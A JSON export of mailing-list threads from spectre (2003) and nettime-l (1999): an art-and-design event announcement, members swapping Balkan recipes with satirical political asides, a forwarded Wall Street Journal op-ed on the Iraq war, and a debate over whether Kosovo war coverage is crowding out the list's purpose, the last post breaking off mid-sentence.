collection of \ninternational modern art from 1900 to the present day. There is also a full \nrange of special exhibitions and a broad public programme of events \nthroughout the year. Tate Modern is committed to education, and as a new \nnational museum is determined to seize the opportunity to pioneer \ninnovative approaches to education and interpretation. Tate Modern's \nwide-ranging public programme includes talks, courses, films, conferences \nand symposia involving artists, critics, writers and academics.  user_mode \nwill be the latest in a strand of events which explore the context of \nculture and technology.\n\n\nCentral Saint Martins College of Art and Design\nhttp://www.csm.linst.ac.uk\n\nCentral Saint Martins College of Art & Design has a worldwide reputation \nfor fostering creativity and innovation. The courses and research \nactivities are a key part of the international contemporary art world and \ndesign industries. From communication design, industrial design to fashion \ndesign and performance the college aims to develop practitioners with \nagility and intelligence who question convention, anticipate change and \nexperiment with new forms and new technologies. Central Saint Martins \nCollege of Art and Design is part of the London Institute. user_mode is a \ncollaboration between Tate Modern and The School of Graphic and Industrial \nDesign at Central Saint Martins College of Art and Design and represents an \nideal opportunity to develop a deeper understanding of topical themes \nwithin a multidisciplinary context.\n\n\n\n---------------------------------------------------------------------------------\nUSER_MODE CONTACT INFORMATION\n---------------------------------------------------------------------------------\n\nHonor Harger\nWebcasting Curator, Interpretation & Education, Tate Modern\nEmail: honor.harger at tate.org.uk\nPH: (44) 020 7401 5066\nURL: http://www.tate.org.uk\n\n\nTricia Austin\nDirector of the MA Critical Context Programme,\nCentral Saint Martins College of Art & Design\nEmail: p.austin at csm.linst.ac.uk\nURL: http://www.csm.linst.ac.uk\n\n\n",
                                        "date": "Fri Apr 11 18:27:03 CEST 2003",
                                        "message-id": "2096",
                                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002096.html",
                                        "content-type": "n/a",
                                        "author_name": "honor",
                                        "subject": "[spectre] user_mode = emotion + intuition in art + design, 9 - 11 May"
                                    }
                                ],
                                "subject": "[spectre] please stop sending this mail"
                            }
                        ],
                        "subject": "[spectre] please stop sending this mail"
                    }
                ],
                "message-id": "2078",
                "date": "Sun Apr  6 00:57:13 CEST 2003",
                "list": "spectre",
                "author_name": "mediterranian sea",
                "subject": "[spectre] please stop sending this mail"
            },
            {
                "content-type": "n/a",
                "from": "ana.peraica at st.tel.hr",
                "id": "2098",
                "content": "dear all, \n\nin contrat mediterranian/s are all about sharing (culture, arts,\n> >sea, coast, vine, kitchen/recipes, songs afterwards, and whatsoever what\n> >*we* use to do and/or how we behave) in the broadest common sense.\n\na) pasticada for a left shick \nb) pasta fazol for melanchonics from the East Europe: stalinists, trockists, \nwhatever\nc) lamb on fire for angry asylants, refugees etc... \n\nPASTICADA A LA DALMATINSKI \n\n75 dag beef leg (called rose)\nfew cloves \n4 parts of galics\ndried ham (prsutto)\nwinegard\n10 dag fat\nselen's rhoute\nsalt \npeper\nmuskat nut\n1/2 glass of proshek (porto) \nred wine\n\nWash well 75 dag of beef leg, dry and stick in a few cloves, 4 parts of garlic \ncut in long parts and dried ham. let that kind of prepared meat to lie all the \nnight in the winegard or porto with lemon. \n\nfor 75 dag of meet make 50 dag of red anion cut in small, a big spoon of fat \n(10 dag) a part of selen's rhoute, also cut in pieces, a bit of salt, pepper \nand a muskat nut. put all cold in a dish to fry from all the sides until the \nmeat stays out of juice. spoil with half a glass of prosek or porto, and add \nsome red wine with two spoons of sugar. \n\noccasionaly add some soup or water and cook on a light fire around 3 - 4 \nhours. when finished, cut in pieces and again put in the sauce, and cook for \nhalf an hour more. if the sauce is not concentrated and dark (should be dark \nbrown) fry on a bit of fat a spoon of bread crumbs and a spoon of tomato \nconcentrate (konserva). \n\nserve with gnocchi, organize it well so it looks you have more than you do. \nInvite only few selected friends, with common knowledge on politics, talk on \nyour political attitudes a lot, so they dont eat too much, get them bored... \nit is an expensive meal. be deep and profound  \n\nNOTE - > Close the window so neighbours dont smell what you are cooking. Be \nprecise, do it patiently and well... and remember always it is an expensive \nmeal. even if there is not so much of food, remember: its about taste, not the \nstomack. it is a style! \n\nb)\n\nsupply: \n\n5 kilo beans (dried)\n50 good stinky fat sausages \n4 kilo dried spare ribs\n3 kilo potato\n1 kilo onion\n10 carots\n2 tomato concentrates  \n4 kilo pasta \nflavor\n\ntell to the cook to: \nput dried beans in the water a night before. \nput sausages on a light fire in a huge pot, to release the fat. take them out. \nfry onion cut in small pieces, add beans, meat (as much that better)... cook \nfor around 30 minutes. add tomato souce, put potato and pasta. if the sauce is \nnot good, add some flavor fried on the fat.  \n\ninvite all the crowd of voters you expect. eat on public places, on public \noccasions: May 1st, Liberation Day etc... be seen eating with as much people \npossible... give a speech half an hour after the meal. if you are not a public \npolitical figure: just eat for free!  \n \nNOTE - > if you dont want to be brainwashed disappear immediately after you \nswallow the last part without chewing. run run run. if are a stalinist stay at \nhome and watch the news, listen to what your leader says. if you are trockist, \ngo to public places the next day - McDonalds, Shell oil stations are perfect \nfor your deep and permanent revolutions.     \n\nLAMB ON FIRE\n\ngo to a village, pick up the cutest lamb you see, get it done and prepared. \nstick the wood through the ass to the mouth, carry it through the city so \npeople see how angry you are and what can you do to them.  \n\nmake a fire, turn the lamb occasiounally spoil some beer on it. eat with \nhands. drink a lot, sing and dance around the fire. enjoy turning until its \nready. \n\nNOTE - > dont give the skin to anyone.. it is the best part.  \n \nana \n\n\n\n\n-------------------- H T h i n e t - - W e b M a i l --------------------\nOva poruka poslana je upotrebom HThinet WebMail usluge.\nhttps://webmail.hinet.hr\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002098.html",
                "follow-up": [
                    {
                        "content-type": "n/a",
                        "from": "are at xs4all.nl",
                        "id": "2099",
                        "content": "hmmmmmmmm..... yummyyyyyy\n\ni'll try!\n\n-k\n___________________________________________\nzeroglab nanofestival\nk\u00e1roly t\u00f3th\nnanofestival at xs4all.nl\nwww.xs4all.nl/~are\n__________________________________________\nZeroglab is an independent art-lab\nbased in Rotterdam.\nThe lab is in an evolving process of\nexchange with initiatives of individuals\nand institutions, based on mutual sympathy.\n__________________________________________\n\n\n\n> -----Original Message-----\n> From: spectre-bounces at mikrolisten.de\n> [mailto:spectre-bounces at mikrolisten.de]On Behalf Of Ana Peraica\n> Sent: zaterdag 12 april 2003 14:31\n> To: John Hopkins; Zvonimir Bakotin; spectre at mikrolisten.de\n> Subject: Re: [spectre] please stop sending this mail\n>\n>\n>\n> dear all,\n>\n> in contrat mediterranian/s are all about sharing (culture, arts,\n> > >sea, coast, vine, kitchen/recipes, songs afterwards, and\n> whatsoever what\n> > >*we* use to do and/or how we behave) in the broadest common sense.\n>\n> a) pasticada for a left shick\n> b) pasta fazol for melanchonics from the East Europe:\n> stalinists, trockists,\n> whatever\n> c) lamb on fire for angry asylants, refugees etc...\n>\n> PASTICADA A LA DALMATINSKI\n>\n> 75 dag beef leg (called rose)\n> few cloves\n> 4 parts of galics\n> dried ham (prsutto)\n> winegard\n> 10 dag fat\n> selen's rhoute\n> salt\n> peper\n> muskat nut\n> 1/2 glass of proshek (porto)\n> red wine\n>\n> Wash well 75 dag of beef leg, dry and stick in a few cloves,\n> 4 parts of garlic\n> cut in long parts and dried ham. let that kind of prepared\n> meat to lie all the\n> night in the winegard or porto with lemon.\n>\n> for 75 dag of meet make 50 dag of red anion cut in small, a\n> big spoon of fat\n> (10 dag) a part of selen's rhoute, also cut in pieces, a bit\n> of salt, pepper\n> and a muskat nut. put all cold in a dish to fry from all the\n> sides until the\n> meat stays out of juice. spoil with half a glass of prosek or\n> porto, and add\n> some red wine with two spoons of sugar.\n>\n> occasionaly add some soup or water and cook on a light fire\n> around 3 - 4\n> hours. when finished, cut in pieces and again put in the\n> sauce, and cook for\n> half an hour more. if the sauce is not concentrated and dark\n> (should be dark\n> brown) fry on a bit of fat a spoon of bread crumbs and a\n> spoon of tomato\n> concentrate (konserva).\n>\n> serve with gnocchi, organize it well so it looks you have\n> more than you do.\n> Invite only few selected friends, with common knowledge on\n> politics, talk on\n> your political attitudes a lot, so they dont eat too much,\n> get them bored...\n> it is an expensive meal. be deep and profound\n>\n> NOTE - > Close the window so neighbours dont smell what you\n> are cooking. Be\n> precise, do it patiently and well... and remember always it\n> is an expensive\n> meal. even if there is not so much of food, remember: its\n> about taste, not the\n> stomack. it is a style!\n>\n> b)\n>\n> supply:\n>\n> 5 kilo beans (dried)\n> 50 good stinky fat sausages\n> 4 kilo dried spare ribs\n> 3 kilo potato\n> 1 kilo onion\n> 10 carots\n> 2 tomato concentrates\n> 4 kilo pasta\n> flavor\n>\n> tell to the cook to:\n> put dried beans in the water a night before.\n> put sausages on a light fire in a huge pot, to release the\n> fat. take them out.\n> fry onion cut in small pieces, add beans, meat (as much that\n> better)... cook\n> for around 30 minutes. add tomato souce, put potato and\n> pasta. if the sauce is\n> not good, add some flavor fried on the fat.\n>\n> invite all the crowd of voters you expect. eat on public\n> places, on public\n> occasions: May 1st, Liberation Day etc... be seen eating with\n> as much people\n> possible... give a speech half an hour after the meal. if you\n> are not a public\n> political figure: just eat for free!\n>\n> NOTE - > if you dont want to be brainwashed disappear\n> immediately after you\n> swallow the last part without chewing. run run run. if are a\n> stalinist stay at\n> home and watch the news, listen to what your leader says. if\n> you are trockist,\n> go to public places the next day - McDonalds, Shell oil\n> stations are perfect\n> for your deep and permanent revolutions.\n>\n> LAMB ON FIRE\n>\n> go to a village, pick up the cutest lamb you see, get it done\n> and prepared.\n> stick the wood through the ass to the mouth, carry it through\n> the city so\n> people see how angry you are and what can you do to them.\n>\n> make a fire, turn the lamb occasiounally spoil some beer on\n> it. eat with\n> hands. drink a lot, sing and dance around the fire. enjoy\n> turning until its\n> ready.\n>\n> NOTE - > dont give the skin to anyone.. it is the best part.\n>\n> ana\n>\n>\n>\n>\n> -------------------- H T h i n e t - - W e b M a i l\n> --------------------\n> Ova poruka poslana je upotrebom HThinet WebMail usluge.\n> https://webmail.hinet.hr\n>\n>\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>\n>\n>\n\n",
                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002099.html",
                        "follow-up": [
                            {
                                "from": "geert at xs4all.nl",
                                "id": "2100",
                                "content": "------------------------------------------------------------------------\n-----\n                  Copyright \u00a9 2003 Dow Jones & Company, Inc.\n------------------------------------------------------------------------\n-----\n                 www.opinionjournal.com/editorial/feature.html\n\n  Saturday, April 12, 2003 12:01 a.m.\n\n\n          ACROSS THE POND\n\n          Lest We Forget\n\n          France and Belgium pay the price for backing Saddam.\n\n          BY MICHAEL GONZALEZ\n\n\nBRUSSELS--\"How did we get here?\" asked a former French minister in a\nnewspaper column recently. \"Here\" is a situation in which French Jews\nare being beaten up in the streets of Paris and in which President\nJacques Chirac has to write to Queen Elizabeth to apologize for the\ndesecration of British tombs in France, and in which one-third of the\nFrench have been pulling for Saddam Hussein to win.\n\nAn even better question is who brought us here. The former environment\nminister, Corinne Lepage, lays the blame on the government and an\nobeisant media for \"having wanted to stigmatize American policy in\nexcessive fashion.\" But it's time to name names.\n\nMr. Chirac brought us here, as did his foreign minister Dominique de\nVillepin. In Belgium the foreign, defense and prime ministers--Louis\nMichel, Andr\u00e9 Flahaut and Guy Verhofstadt--have brought their country\nto shame too. And that's just the start.\n\nMr. de Villepin, the pinup boy of diplomacy in \"progressive\" circles,\nwas not just content to travel the world in an attempt to derail U.S.\npolicy. Reportedly, he also has made instructive comments that make\nclear \"how we got here.\" Mr. de Villepin, sources say, last week told\nmembers of the National Assembly that \"hawks\" in the U.S.\nadministration are \"in the hands of [Ariel] Sharon.\" According to the\nsatirical newspaper Le Canard Enchaine, he went so far as to attack a\n\"pro-Zionist\" lobby made up of Deputy Defense Secretary Paul Wolfowitz,\nWhite House staffer Elliot Abrams and Pentagon adviser Richard Perle,\nall Jews.\n\nBut it's not just a juif thing. Mr. de Villepin--who claims in his book\n\"The Cry of the Gargoyle\" to be a fan of both Machiavelli and\nNapoleon--never shies from messianic statements. He told legislators\nthat the fight over Iraq was actually one against \"Anglo-Saxon\nliberalism,\" an Assembly member told me.\n\nBut indignant reactions are now being heard. An editorial on Radio\nFrance Internationale noticed that the phrase \"the Anglo-American\nforces,\" constantly used instead of \"coalition forces,\" is borrowed\nstraight from Vichy propaganda. In her own j'accuse for Le Figaro, Ms.\nLepage said that to the errors of the media and the leaders, \"one can\nadd the pacifist demonstrations, which have nothing peaceful about\nthem.\" She could \"bear witness to the fact that these demonstrations\nare far from gatherings of real defenders of the rights of man or of\npeace. These are hordes orchestrated by the security services of\nIslamicist groups which . . . shout extremely violent slogans in which\nracial and anti-Semitic hatred is expressed without the least taboo.\"\n\nSmall wonder that the Interior Ministry itself says a mere spark could\n\"turn anti-Americanism in the suburbs into uncontrolled violence.\" That\nobservation comes too late for Noam Levy, a Jew beaten with an iron bar\nwhile at an antiwar demonstration. He said he was shocked by \"the\nanti-Zionist slogans.\" (He should check with the Quai d'Orsay about the\nprovenance of these feelings.) And it's too late for the families of\nBritons who died defending France in World War I, and whose tombs near\nCalais were vandalized. Among the graffiti on a cenotaph: \"Dig up your\nrubbish, it's contaminating our soil.\"\n\n\"France,\" wrote Mr. Chirac to Queen Elizabeth with all the pomp--not to\nmention pomposity--at his command, \"knows what it owes to the sacrifice\nand courage of British soldiers who came to help her recover her\nliberty in the fight against barbarity. . . . From the French people\nand from me personally, I offer you my deepest regrets.\" Too late. Mr.\nChirac has himself refused to say which side he backs in the war. No\nwonder a third of the French tell pollsters that they want Saddam to\nwin. Mr. Chirac is basking in 60% approval ratings, but he's paid for\nthem dearly. Demonstrators in the street shout \"Long live Chirac, stop\nthe Jews!\"\n\nIn Belgium, I've witnessed the defense and foreign ministers feed the\nbeast of anti-Americanism, only to protest later that they want to\ndefang it. At a debate last month at the University Libre de Bruxelles,\nI saw Messrs. Michel and Flahaut inflame a crowd with their comments.\nBelgians, said the former, are beginning to look on the U.S. as they\nonce did the Soviet Union. \"I am beginning to fear the U.S.,\" he added,\nhis voice rising, to much applause from a 2,000-strong crowd. Not to be\noutdone, Mr. Flahaut promised to do all he could to kick Tony Blair out\nof the Socialist International.\n\nBy \"debate,\" incidentally, I mean a representative of Republicans\nAbroad and me on one side, and on the other the two ministers, two\npro-government university professors, a journalist who was supposed to\nact as moderator, and Iraq's ambassador to Belgium. The Iraqi was twice\ninterrupted by the crowd with applause; I was accused of being a CIA\nagent. When one student stood up to complain that a representative of\nSaddam's regime was applauded while I was booed, the crowd shouted her\ndown.\n\nCan anyone wonder at the crowd's response, given such leadership? Mr.\nFlahaut called for bigger anti-U.S. demonstrations that weekend. The\ngovernment needed them, he said. His government was doing more than\njust standing by. Just as in places like Castro's Cuba, parents at some\nBelgian schools received requests for their children to attend the\ndemonstration. As for Mr. Michel, he personally quashed a revolt in his\nMouvement Reformateur at a party meeting last month. One politician who\nwas there told me the majority wanted the Belgian government to have a\nmore nuanced policy and not to be in such opposition to the U.S. But\nMr. Michel threatened, cajoled, and got his way. This is why there\nhasn't been a backbench revolt in Belgium and France, though this week\na Belgian politician tried to redress the balance by delivering letters\nof support to the British and U.S. Embassies.\n\nA senior Belgian official told me last week that Mr. Michel \"now\nrealizes he's gone too far, that he's made comments he ought not to\nhave made, and is trying to calm things down.\" Too late. His government\nsituated itself against the war and the U.S. out of a long tradition of\nsubservience to the French and out of fear that otherwise its large\nMuslim population would riot. \"The people then may react by voting for\nthe far right,\" a Belgian official told me.\n\nExplicable, perhaps. But how immoral to act in such a manner, and how\ndangerous.\n\nThe increasingly visible joy of liberated Iraqis is making clear the\nmoral bankruptcy of those who purported to take the high ground by\nprolonging Saddam's rule. The diplomatic blunders of Brussels and Paris\nare coming home to roost. This is how we got here.\n\n-------\nMr. Gonzalez is the deputy editorial page editor of The Wall Street\nJournal Europe\n\n\n",
                                "date": "Sat Apr 12 09:32:17 CEST 2003",
                                "message-id": "2100",
                                "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002100.html",
                                "content-type": "n/a",
                                "author_name": "geert lovink",
                                "subject": "[spectre] France and Belgium pay the price for backing Saddam (WSJ)"
                            }
                        ],
                        "message-id": "2099",
                        "date": "Sat Apr 12 13:34:25 CEST 2003",
                        "list": "spectre",
                        "author_name": "K\u00e1roly T\u00f3th",
                        "subject": "[spectre] please stop sending this mail"
                    },
                    {
                        "author_name": "darko fritz",
                        "from": "fritz.d at chello.nl",
                        "id": "2101",
                        "content": "dear all\n\n> in contrat mediterranian/s are all about sharing (culture, arts,\n> sea, coast, vine, kitchen/recipes, songs afterwards, and whatsoever what\n> *we* use to do and/or how we behave) in the broadest common sense.\n\nhere is the *straight* one from the east. popular meal in different versions\nand upgrades all over the balkan incl. northen adriatic cost - a ***deep***\nzone of overlaping baklan + mediterran at least.\n\n   Stuffed peppers\n\nIngredients: 8 green peppers . boiling water\nFor the stuffing: 2 tablespoons oil . 1 medium sized onion, finely chopped .\n300 g minced meat, preferably pork (beef is a good substitute or half and\nhalf) . 1 tablespoon fresh parsley, chopped . 100 g rice, partially cooked .\n1 egg . salt, pepper to taste\nFor the sauce: 1 kg fresh or tinned tomatoes . 2 1/2 tablespoons of oil . 40\ng flour . sugar to taste\nFor the garnish: 125 g sour cream\n\n   Wash the green peppers. Carefully remove the stem and scoop out the seeds\nfrom the top.\nPour boiling water over the peppers to soften them a little. Drain off the\nwater.\nPrepare the stuffing as follows. Heat 2 tablespoons of oil in a frying pan\nand gently saute the finely chopped onion and parsley for 2-3 minutes over\nmedium heat. Now add the minced meat and fry for a further 10 minutes,\nstirring the mixture from time to time. Remove the frying pan from the heat\nand transfer the mixture to a bowl. Add the partially cooked rice and break\nan egg into it. Season well with salt and pepper. Divide it into 8 parts and\nfill the peppers with it.\n   Next, make the sauce. Wash the tomatoes (no need if using tinned\ntomatoes). Roughly chop them up and put into a saucepan. Cook till they have\nsoftened. Pass them through a sieve or blender. Keep aside. In a clean\nsaucepan, heat 2 1/2 tablespoons of oil. Add the flour and gently brown it\nin the oil. Pour in the pureed tomatoes and give it a good stir. Cook till\nthe sauce thickens a bit. Add salt and a little sugar.\n   Arrange the peppers in a large heavy-bottomed saucepan and pour the sauce\nover them. Make sure that the peppers are well covered by the sauce. If not,\nadd a little water. Let the peppers simmer gently on low heat for 40 minutes\ntill they are just cooked. Serve hot with dollops of sour cream spooned over\nthe top as garnish and accompanied with a bowl of mashed potatoes.\n\n   Potato Pur\u00e9e (to accompany the stuffed peppers)\nIngredients: 1 kg potatoes . 75 g sour cream . 30 g butter . 50 g single\ncream . salt to taste\n   Scrub and wash the potatos. Do not peel them. Place in a pan, cover with\ncold water and cook over high heat for 30 minutes. When ready, peal them in\na bowl. Do not cool the potatoes as they absorb the flavours of the other\ningredients better when they are hot. Pur\u00e9e them using a hand mixer; it is\nquicker and gives a smoother result. Slowly add all the other ingredients.\nServe hot with the stuffed peppers.\n\n> From: \"astr\u00ebe galbiatta .vnatrc.net.\" <astreegalbiatta at vnatrc.net>\n> Date: Wed, 09 Apr 2003 05:37:22 +0200 (CEST)\n> To: darko fritz <fritz.d at chello.nl>\n> Cc: spectre <spectre at mikrolisten.de>\n\n> 3rd : breathe with the nose !\n\nwhile eating, indeed!\n\nBon appetit! enjoy ++\n\nd\n\n\n\n|||||||||||darko.fritz.propaganda\n________________________________ http://members.ams.chello.nl/fritzd\n\n\n\n",
                        "date": "Sun Apr 13 04:09:54 CEST 2003",
                        "message-id": "2101",
                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002101.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "are at xs4all.nl",
                                "id": "2102",
                                "content": "it's like cooking is IN (again)\n\nhmmmmmmmmm\n\nit has senZ...\n\n\n\n-k\n\n\n\n\n\n> -----Original Message-----\n> From: spectre-bounces at mikrolisten.de\n> [mailto:spectre-bounces at mikrolisten.de]On Behalf Of darko fritz\n> Sent: zondag 13 april 2003 3:10\n> To: spectre\n> Subject: Re: [spectre] please stop sending this mail\n>\n>\n> dear all\n>\n> > in contrat mediterranian/s are all about sharing (culture, arts,\n> > sea, coast, vine, kitchen/recipes, songs afterwards, and\n> whatsoever what\n> > *we* use to do and/or how we behave) in the broadest common sense.\n>\n> here is the *straight* one from the east. popular meal in\n> different versions\n> and upgrades all over the balkan incl. northen adriatic cost\n> - a ***deep***\n> zone of overlaping baklan + mediterran at least.\n>\n>    Stuffed peppers\n>\n> Ingredients: 8 green peppers . boiling water\n> For the stuffing: 2 tablespoons oil . 1 medium sized onion,\n> finely chopped .\n> 300 g minced meat, preferably pork (beef is a good substitute\n> or half and\n> half) . 1 tablespoon fresh parsley, chopped . 100 g rice,\n> partially cooked .\n> 1 egg . salt, pepper to taste\n> For the sauce: 1 kg fresh or tinned tomatoes . 2 1/2\n> tablespoons of oil . 40\n> g flour . sugar to taste\n> For the garnish: 125 g sour cream\n>\n>    Wash the green peppers. Carefully remove the stem and\n> scoop out the seeds\n> from the top.\n> Pour boiling water over the peppers to soften them a little.\n> Drain off the\n> water.\n> Prepare the stuffing as follows. Heat 2 tablespoons of oil in\n> a frying pan\n> and gently saute the finely chopped onion and parsley for 2-3\n> minutes over\n> medium heat. Now add the minced meat and fry for a further 10 minutes,\n> stirring the mixture from time to time. Remove the frying pan\n> from the heat\n> and transfer the mixture to a bowl. Add the partially cooked\n> rice and break\n> an egg into it. Season well with salt and pepper. Divide it\n> into 8 parts and\n> fill the peppers with it.\n>    Next, make the sauce. Wash the tomatoes (no need if using tinned\n> tomatoes). Roughly chop them up and put into a saucepan. Cook\n> till they have\n> softened. Pass them through a sieve or blender. Keep aside. In a clean\n> saucepan, heat 2 1/2 tablespoons of oil. Add the flour and\n> gently brown it\n> in the oil. Pour in the pureed tomatoes and give it a good\n> stir. Cook till\n> the sauce thickens a bit. Add salt and a little sugar.\n>    Arrange the peppers in a large heavy-bottomed saucepan and\n> pour the sauce\n> over them. Make sure that the peppers are well covered by the\n> sauce. If not,\n> add a little water. Let the peppers simmer gently on low heat\n> for 40 minutes\n> till they are just cooked. Serve hot with dollops of sour\n> cream spooned over\n> the top as garnish and accompanied with a bowl of mashed potatoes.\n>\n>    Potato Pur\u00e9e (to accompany the stuffed peppers)\n> Ingredients: 1 kg potatoes . 75 g sour cream . 30 g butter .\n> 50 g single\n> cream . salt to taste\n>    Scrub and wash the potatos. Do not peel them. Place in a\n> pan, cover with\n> cold water and cook over high heat for 30 minutes. When\n> ready, peal them in\n> a bowl. Do not cool the potatoes as they absorb the flavours\n> of the other\n> ingredients better when they are hot. Pur\u00e9e them using a hand\n> mixer; it is\n> quicker and gives a smoother result. Slowly add all the other\n> ingredients.\n> Serve hot with the stuffed peppers.\n>\n> > From: \"astr\u00ebe galbiatta .vnatrc.net.\" <astreegalbiatta at vnatrc.net>\n> > Date: Wed, 09 Apr 2003 05:37:22 +0200 (CEST)\n> > To: darko fritz <fritz.d at chello.nl>\n> > Cc: spectre <spectre at mikrolisten.de>\n>\n> > 3rd : breathe with the nose !\n>\n> while eating, indeed!\n>\n> Bon appetit! enjoy ++\n>\n> d\n>\n>\n>\n> |||||||||||darko.fritz.propaganda\n> ________________________________ http://members.ams.chello.nl/fritzd\n>\n>\n>\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n>\n>\n>\n>\n\n",
                                "date": "Sun Apr 13 04:29:38 CEST 2003",
                                "message-id": "2102",
                                "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002102.html",
                                "content-type": "n/a",
                                "author_name": "K\u00e1roly T\u00f3th",
                                "subject": "[spectre] please stop sending this mail"
                            }
                        ],
                        "subject": "[spectre] please stop sending this mail"
                    }
                ],
                "message-id": "2098",
                "date": "Sat Apr 12 13:30:32 CEST 2003",
                "list": "spectre",
                "author_name": "Ana Peraica",
                "subject": "[spectre] please stop sending this mail"
            },
            {
                "id": "00346",
                "content": "\n\n75% of messages on Nettime these days are about the war in Serbia. I'm\nwondering if that is the purpose of the nettime list, and wondering if the\nnettime list is slowly but surely be converted to the serbian/kosovo war\ninformation centre.\n\nThat is not to say that I'm not interested in events in Serbia, but I wonder if\nNettime-l is the appropriate place for an ongoing debate about this. Nettime is\nflooded with messages about Kosovo, Serbia and Nato, and if the war continues\nfor some time I wonder if Nettime is the proper place for such discourse. I\nsuggest creating a kosovo-l or serbia-l or both and redirect all messages about\nthe war in Serbia to such special purpose lists, in order to prevent the\nnettime list from degenerating into an alternative source of news about the\nSerbian/Nato war. That is not what Nettime was intended to be, and although I\nrespect and understand that people have a need to distribute their opinion and\nnews about these topics I feel that it is not appropriate to continue doing so\non the Nettime mailinglist.\n\n\n\tFelipe Rodriquez\n\n\n\n--\nFelipe Rodriquez  felipe {AT} xs4all.nl\nEFA board member  http://www.efa.org.au/AboutEFA/FR.html\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "to": "<nettime-l {AT} Desk.nl>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00346.html",
                "list": "nettime_l",
                "author_name": "felipe rodriquez",
                "subject": "<nettime> nettime-l = kosovo-l or serbia-l or nato-l ?",
                "from": "\"felipe rodriquez\" <felipe {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Pit Schultz <pit {AT} icf.de>",
                        "content": "\napril, 20 (or so):\n\ndear felipe, \n\nthanks for your mail and speaking out on nettime what likely many \nof it's subscribers think at the moment. \n\nin such moments it becomes clear that a list like nettime is not an\n\"independent\" media as all, that it corresponds to the priorities set\nby bigger media, which depend from but also construct the attention\nof recipients given to \"present\" topics. the urgency of the event status\nhomogenizes all media, so it gives also small media the chance to keep up\nwith the big guys for a moment, and even by chance stay upfront, open \nfor more experiments in such a situation, with \n\nbut, i agree with you in terms that i do not have any interest to be\npart of the invention of a new type of journalism or opinion\nproduction in times of crisis. (the net as cheap CNN?) the problem\nis indeed the weired mix of pseudo-objective news fetishism with \nthe sincere worries of people with the propaganda machine of both sides.\nso people should have the right to be lurkers, and do not have an opinion\nin times where it seems that everyone has to admit on which side they\nstay. there were a few messages indeed which switched on the meta level\nand i am sure that also other people experienced mailinglists as a useful\nmedia last weeks. \n\nok, what can be done? \n\n- compilation of kosovo news/opinions in a kind of daily newsletter. (evening GMT)\n\n- less forwarding from other lists regarding this topic, instead using the\n  web based filter pages.\n\n- more thinking about related topics, like the one Felix just posted about. \n  careful analysis. smooth transitions. action plans. \n\n- i dream about a rethorical reconstruction of intellectual integrity and\n  infrastructures, open mindedness towards different worldviews and a\n  resistance to join millenial moral mass panics\n\n- ways to democratize nettime, in terms of structure but also technology.\n  like a call and voting for a rotating moderator, an open moderation\n  list for meta-debate, a web-transparent nettime-l inbox, a new word for\n  'moderator'.\n\n- i have to mention and thank ted byfield work over the last weeks, he spend\n  many ours of his time to keep things going and to make the tremendous flow\n  more acceptible for the subscribers, including trying to keep a virtually\n  neutral position, which is almost an impossible mission in such times.\n\ngreetings\n\n/pit\n\nps. cc'd to nettime, because it may be of interest for others too.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                        "id": "00398",
                        "date": "Mon, 26 Apr 1999 19:22:54 +0200",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199904261852.TAA11820 {AT} Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00398.html",
                        "content-type": "text/plai",
                        "author_name": "Pit Schultz",
                        "subject": "Re: <nettime> nettime-l = kosovo-l or serbia-l or nato-l ?"
                    }
                ],
                "message-id": "199904220353.EAA31317 {AT} Desk.nl",
                "date": "Thu, 22 Apr 1999 00:01:52 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00406",
                "content": "\nPit,\n\nThanks for your reply.\n\n> but, i agree with you in terms that i do not have any interest to be\n> part of the invention of a new type of journalism or opinion\n> production in times of crisis. (the net as cheap CNN?) the problem\n> is indeed the weired mix of pseudo-objective news fetishism with\n> the sincere worries of people with the propaganda machine of both sides.\n\n<...>\n\n> and i am sure that also other people experienced mailinglists as a useful\n> media last weeks.\n\nI do not question the validity of the discussion of Kosova and Serbia, and am\npersonally very interested in developments in that region.\n\nBut.. I do wonder if Nettime is the place to continue a discourse about this\ntopic. My worries have nothing to do with the topic of Serbia or Kosova, but\nwith the persistence of the topic on the list. In my relatively long history as\na net addict I've witnessed the evolution of lists over and over again. Every\nlist or newsgroup has an evolutionary process; it is initiated, it grows into\nsomething the readers enjoy, then it grows further into a heavy traffic and\nlimited topic environment, and eventually the initiators leave in disgust\nbecause what is left is something very remote from what was intended.\n\nCurrently Nettime is moving into the phase where topics are limited, and\ntraffic grows. The content of the list is slowly moving away from the initial\nintention and diversity of the nettime list, and within weeks or months people\nwill start unsubscribing from the nettime mailinglist and moving towards other\ncommunities. The future of nettime is at stake. And I'd like to make sure that\nwe move into that phase with our eyes open.\n\nBecause Nettime is a moderated list, the moderators have a chance to change the\ncourse of development on the list. And I believe some strategy or action by the\nmoderators would be appropriate at this moment, or in the very near future.\n\n> ok, what can be done?\n\nAs far as I know Nettime is a moderated list, therefore it is the discretion of\nthe moderator to take action, and to maintain an environment that is\ninteresting and stimulating to the Nettime community. A daily digest seems to\nbe a reasonably good idea.\n\nI'd prefer creating a separate forum for the discussion about the\nKosova/Serbian topic. Such a mailinglist may be appealing to a larger community\nthan just the nettime subscribers, 